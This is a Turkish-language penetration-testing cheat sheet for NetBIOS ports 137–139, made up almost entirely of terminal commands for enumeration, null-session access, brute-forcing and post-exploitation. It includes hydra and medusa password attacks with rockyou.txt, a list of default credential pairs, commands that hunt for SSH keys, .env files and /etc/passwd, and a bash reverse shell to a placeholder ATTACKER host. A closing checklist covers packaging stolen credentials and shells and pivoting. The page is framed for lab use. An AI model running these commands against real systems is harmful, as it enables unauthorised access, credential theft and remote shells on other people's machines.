Skip to content

137,138,139 - Pentesting NetBios

NetBIOS enum

NetBIOS ad servisi host/domain/kullanıcı sızdırır; 139 SMB oturumuna köprü olur. Hedef lab IP’si üzerinde komutları 137 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. UDP/137 NBNS sorgula.

  2. nbtstat benzeri tablo çek.

  3. 139 null session dene.

  4. SMB enum’a geç.

Terminal window
nmap -Pn -sU -sV -p137,138 -pT:139 TARGET
Terminal window
nbtscan TARGET/24
Terminal window
nmblookup -A TARGET
Terminal window
nmap -p137 --script nbstat TARGET
Terminal window
rpcclient -U '' -N TARGET
Terminal window
smbclient -L //TARGET -N
Terminal window
enum4linux-ng -A TARGET
Terminal window
nxc smb TARGET --users
Terminal window
lookupsid.py -no-pass TARGET
<20> domain controller, <00> workstation

,138,139 - NetBios için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p137,138,139 TARGET
Terminal window
nmap -Pn -p137 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:137' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',137));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → ,138,139 - NetBios
Terminal window
hydra -L users.txt -P rockyou.txt -s 137 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 137
Terminal window
nmap -p137 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit NetBIOS
Terminal window
msfconsole -q -x 'search NetBIOS; exit'
Terminal window
nuclei -u https://TARGET:137 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:137 -tags tech -silent || true
Terminal window
nc -nv TARGET 137
Terminal window
printf '
' | timeout 3 nc -nv TARGET 137
Terminal window
curl -vk --http1.0 http://TARGET:137/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
nbstat → names → null session → smb enum → creds